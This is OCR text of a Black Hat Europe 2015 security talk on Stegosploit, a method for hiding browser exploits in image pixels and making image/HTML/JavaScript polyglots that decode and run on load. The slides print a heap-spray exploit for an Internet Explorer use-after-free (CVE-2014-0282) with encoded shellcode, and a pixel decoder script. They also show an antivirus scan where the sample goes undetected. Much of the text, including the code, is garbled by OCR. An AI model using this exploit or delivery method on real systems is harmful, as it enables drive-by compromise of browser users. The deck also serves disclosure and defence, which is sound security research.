ACKHAT EUROPE 2015



T T R Fw——r—"wm i
I




. ¥ @therealsaumil
Saumil Shah @ saumilshah

CEO, Net-Square

hacker, trainer, speaker,
author, photographer
educating, entertaining and
exasperating audiences
since 1999.




Google  stegospoi

(=

Stop Saying St |
e g
A % gosploitls —Aname
.endgame.com/blog/ acke :
Col uter hacki
Ing

Cott :
age Health Ia Casualty;

REVIEWS
FEAT
URES GUIDES VIDEOS
GALLERIES

' l .
lggigse;pnqwes can hid
: OU open t
. ° o
T THE |C PIXEL VIRUS Criticis ) hac
VEE ] m

sTEGOSPLOITP

MOST RE(OMMEND[D STORY |

6 Christian Bunay

Why stegosploit Isn't An ExXp

[ screwed up. The «“false claims” I'm
n of Stegosploit, which I'w
n. Sorry for not rese

loit

attacking in this piece
asn’t aware of. I'll leave
arching this well

are about a

Edit:
new (unrclcascd) versio
this article as it is and post a new one SO0

and thanks for understanding my mistake.

NS NET enough,



Stegosploii IS...

NGt @%wé@% m%@ hidden in EXIF
o PHP/ASP webshell
g new XSS vecior

Q 9

7
7 < £
. A Z Z
Z Z 7 Q00

"Browser Exploits Delivered
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"A good exploit is one that
IS delivered in style"

' Only VALID images on

network and disk.

Exploit code hidden in pixels.

Decoder code embedded in

Image.

Exploit automatically decoded

and triggered upon loading...

...all with just ONE IMAGE.
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Polyglots

Two or more
data formats
in a single

container...
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ENCODED IMAGE
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Stegosploit-ing a
browser exploit

Case study: CVE-2014-0282
- |E CInput Use-After-Free
- hidden in a JPG

Case study: CVE-2013-1690
- FF onreadystatechange UAF
- hiddenin a PNG
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The Stegosploit Toolkit

STEGANOGRAPHY TOOLS

- image_layer_analysis.html - analyse an image's bit layers

- iterative_encoding.html - steganographic encoder

- image_decoder.html - test for any encoding errors
POLYGLOT TOOLS

- imajs_jpg.pl - make a JPG+HTML+S polyglot
- imajs_png.pl - make a PNG+HTML+JS polyglot
EXPLOITS

- exploits.js - collection of browser exploits

- cve_2014_0282.template - exploit HTML template

- decode_pixels.js - JS Steganography decoder
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Hiding an Exploit in an Image
» Simple steganography techniques.

« Encode exploit code bitstream into
lesser significant bits of RGB values.

« Spread the pixels around e.g. 4x4 grid.

I° PIXELS
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function H5(){this.d=[];this.m=new Array();this.f=new Array()}H5.prototype.ﬂatten=fqnetion(){fd?(Var f=0;f<this.d.length;f+
+){var n=this.d[fl;if(typeof(n)=="number')}{var c=n.toString(16);while(c.length<8){c='0"+c}var I=function(a)
{return(parselnt(c.substr(a,2),16))};var :
g=1(6),h=1(4),k=1(2),m=1(0);this.f. push(g); his.f.push(h);this.f.push(k); K)ithis.f. push(m)}if(typeof 'string'){for(var
d=0;d<n.length;d++){this.f.push(n.charCodeAt(d))}}}};H5.prototype.fill=function(a){for(var c=0,b=0;c<a.data.length;c++,b
++){if(b>=8192){b=0}a.data[c]=(b<this.f.length)?this.f[b]:255}};H5.prototype.spray=function(d ){this.ﬂal;fen()'for(var
b=0;b<d;b++){var c=document.createElement('canvas');c.width=131072;c. helghl—1war
a=c.getContext('2d').createlmageData(c.width,c.height);this. fill(a);this.m[b]=a}};H5. pmtoty‘p€ setDataafunctlon( )
{this.d=a};var flag=false;var heap=new H5();try{location.href='ms-help: }catch(e){}fﬁncnon spray(){var a="xfc
\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x 14\x8b\x72\x28\x0f\xb 7\x4a
\x26\x31\xffix31\xc0\xac\x3c\x61\x7¢\x02\x2¢\x20\xc 1 \xcfix0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x 10\x8b\x42\x3c
X01\xd0\x8b\x40\x78\x85\xc0\X74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b
01\xd6\x31\xffx31\xcOxacixc1\xcfix0dx01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b
\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x 1c\x01\xd3\x8b\x04\x8b\x0 1\xd0\x89\x44\x24\x24\x5b\x5b\x6 1\x59\x5a

2 51 \xffixe0\X581x5fx5alx8b\x 1 2\xeb\x86\x5d\x6alx01\x8d\x85\xb9\x00\X00\X00X50\x68\x31\x8b\X6AX87\xffixd5\xbb

Xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xffixd5\x3c\x06\x7c\x0alx80\xfb\xe0\x 75\x05\xbb\x4 7\x 13\x72\x6\x62\x00\X5 3\xff
\xd5\x63\x61\x6¢\x63\x2€\x65\x78\x65\x00"; var c=[J;for(var b=0;b<1104;b+=4){c.push(1371756628)}
c.push(1371756627);c.push(1371351263);var

f=[1371756626,215,2147353344,1371367674,202122408 4294967295 202122400,202122404,64,202116108,2021212
48,16384],var d=c.concat(f);d.push(a); heap.setData(d);heap. spray(256)}funct|on changer(){var c=new Array();for(var
a=0;a<100;a++){c.push(document.createElement('img"))}if(flag) 4
{document.getElementByld(‘fm').innerHTML=";CollectGarbage();var b-‘\u2020\u0000 ;for(var a=4;a<110;a+=2){b
+="\u4242'}or(var a=0;a<c.length; a++i{c[a] tittle=b}}}function run()
{spray();document.getElementByld('c2').checked=true;document. getEIementById( c2). onpropertychange changer;flag=
true; document getEIementById('fm) reset()}setTlmeout(run 1000) o

“




The "Bit Layer" View

. _ 76543210
1 pixel = 8 bits (grayscale) | |



The "Bit Layer" View
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Encoding at Bit Layer 7

Exploit code converted to bitstream.

Pixel bits of layer 7 are overwritten
with exploit bitstream.



Encoding data at bit layer 7 ./ Significantivisdal'aberration




Encoding at Bit Layer 2
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Exploit code converted to bitstream.

Pixel bits of layer 2 are overwritten
with exploit bitstream.
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Encoding on JPG vs PNG

. JPG= @%%g - PNG = lossless
%@%W@% lon compression
ixel - Single poss

encoding

S ;%%@w@%%@%%@%
- Browser specific browser’s PNG
JPEG encoders encoder
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HTML5 CANVAS to the rescue!

* In-browser decoding of

steganographically encoded images.

* Read image pixel.data using,

* Rebuild JS epr0|t code from
in memory i

----
"""""

operatlons
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decode_pixels.js

L=2,C=3,G=3,a=[],x=y=0,z=1<<L,I=parselInt,S=String.fromCharcCode;window.onload=
function() {P.onclick=function({v=document.createElement("canvas") ;k=P.parentNode;
k.insertBefore(v,P);w=V.width=P.width;H=V.height=P.height;m=Vv.getContext("2d");
m.drawImage(P,0,0);k.removeChild(P) ;m=m.getImagebata(0,0,W,H) .data;c=function(p,x,y)
{n=Cy*w+x)*4;r=(p[n]&z)>>L;g=(p[n+1]&z)>>L;b=(p[n+2]&z)>>L;return S([r,g,b,r][C]+48)};
k=function(l1) {for(i=j=0;j<1%*8;j++){ali++]=c(m,Xx,y) ; x+=G;1f(x>=W) {x=0;y+=G}}};k(6);
k(z(x(a)));try{collectGarbage()}catch(e){}setTimeout(new Function(x(a)),99)}};function
X(c){s="",d=c.join(s) ;for(i=0;1i<d.length;i1+=8)s+=S(1(d.substr(i,8),2));return s}
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<img> sees pixels
/ <script> sees code

L \ourPointOfView

\
o i \ Y Holy
) ok N ' R Sh*
Image % Javascript ™y Dot
\\ i § \\ ™ Content!
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IMAJS-|PG!

JPG +HT|\/|L +JS +CSS ~
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IMAJS-JPG Recipe




IMAJS-JPG Recipe

length

versn | U | Xres Yres

quantization tables

quantization tables

start of frame

Huffman tables




¥ IMAJS-JPG Recipe

¥

<html random random random random...

™ random ><head random>

W pt type=text/undefined> ...

... more random data ...

quantization tables

quantization tables

start of frame

DHT | Huffman tables
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IMAJS-PNG!

PNG +HTML +JS +CSS
- - S TS o




IMAJS-PNG Recipe







Step 4.

?
The Finer Points
of Pockage
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Content
niffing




Content Sniffing

Test description MSIE6 MSIE7 MSIES8 Safari  Opera Chrome | Android
Is HTML sniffed when no Content-Type received? YES YES YES YES | YES YES YES
Content sniffing buffer size when no Content-Type seen 256B @« 0 1kB  ~130kB 1kB ]

Is HTML sniffed when a non-parseable Content-Type value received? NO NO NO NO YES YES

Is HTML sniffed on application/octet-stream documents? YES NO

Is HTML sniffed on application/binary documents? NO NO

Is HTML sniffed on unknown/unknown (or application/unknown) documents? NO

Is HTML sniffed on MIME types not known to browser? NO

Is HTML sniffed on unknown MIME when .html, .xml, or .txt seen in URL parameters? NO

Is HTML sniffed on unknown MIME when .html, .xml, or .txt seen in URL path? NO

Is HTML sniffed on text/plain documents (with or without file extension in URL)? NO

Is HTML sniffed on GIF served as image/jpeg? NO

Is HTML sniffed on corrupted images? NO

Content sniffing buffer size for second-guessing MIME type

May image/svg+xml document contain HTML xmlins payload?

HTTP error codes ignored when rendering sub-resources?
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«w PANLDADNS G
BACK IN lm.=

I'M IN UR BASE - ~KILLING IIH D00D2
GET /lolcat.png N GE#//lolcat.png

200 OK

Expires: 6 months Load from cache '

Exploit code Decoder script references image
encoded in image. from cache.

EVIL SAFE

|

AUG 2015 - DEC 2015



Sample #55798d37e25bf6_52084739

Submitted at 2015-06-11 14:29:27

Filename cammy?2_ffready_propspray_imajs

Comment Stegosploit CVE-2013-1690

Filesize 192703 bytes

MD5 af79a55e9d7¢c83b24a6207f7ed3a7453

SHA1 67924dd9398d5e5¢26886b611774b9b8cfI59896
Status complete

Anti-Virus Update Detected Signature
[VT Yara] PelD q -
[VT Yara] Memory 4 -
[VT Yara] Mobile g -
[VT Yara] Trojans s

AVG 12.0.1794.0 q -
ClamAV 0.96.5 1 =
Comodo 1.0.2 S|

Drweb 6.0.2.2 - linux = .
ESET 4.0.77 4 -
F-Prot 4.6.5.141 . -
Ikarus 1:352 s

Kaspersky 8.0.1-50 4 -
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XPORT-CONTROLLED
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TL;DR:
8:3 Backdoors from Compiler Bugs 8:8 On Error Resume Next for Unix
8:4 A Protocol for Leibowitz 8:9 Sing Along with Toni Brixton - Stegosploit creates a new way to encode “drive-by" browser exploits and deliver them through image
8:5 Reprogramming a Mouse Jiggler 8:10 Backdooring Nothing-Up-My-Sleeve Numbers files. These payloads are undetectable using current means. This paper discusses two broad
X . - underlying techniques used for image based exploit delivery - Steganography and Polyglots. Drive-by
8:6 Exploiting an Academic Hypervisor 8:11 Building a Wireless CTF ) ) ) ) ; )
browser exploits are steganographically encoded into JPG and PNG images. The resultant image file
is fused with HTML and Javascript decoder code, turning it into an HTML+Image polyglot. The
polyglot looks and feels like an image, but is decoded and triggered in a victim's browser when

loaded.

8:7 Weaponized Polyglots as Browser Exploits 8:12 Grammatically Correct Encryption

Fort Ville-Marie, Vice-royauté de Nouvelle-France The Stegosploit Toolkit v0.2, released in Issue 0x08 of Poc||GTFO, contains the tools necessary to

test image based exploit delivery. A case study of a Use-After-Free memory corruption exploit (CVE-

Funded by Sin falt as Midnight Oil and the 2014-0282) is presented with this paper demonstrating the Stegosploit technique.
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5% CAD. pocorgtfo08. pdf : A good exploit is one that is delivered with style" -- Saumil Shah
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Protocol-spanning, syntax-based generalized
exploit methodologies are the new black.

Saumil Shah @therealsaumil

#stegosploit tools will be released in the next PoC||GTFO. The only fitting publication
for the purpose. cc @travisgoodspeed @angealbertini




Conclusions - Defensive

* DFIR nightmare.

— how far back does your window of
inspection go?

« Can't rely on magic numbers, file
extensions, file types.

* Quick "fix" - re-encode all images!



Browsers and W3C - Wake Up!

BROWSERS
« Don't be afraid to "BREAK THE WEB".

« Reject content that does not conform to
strict standards/specs.

W3C
« STRICT parsing rules - like COMPILERS.

« Browser compliance and user-
awareness is YOUR responsibility.
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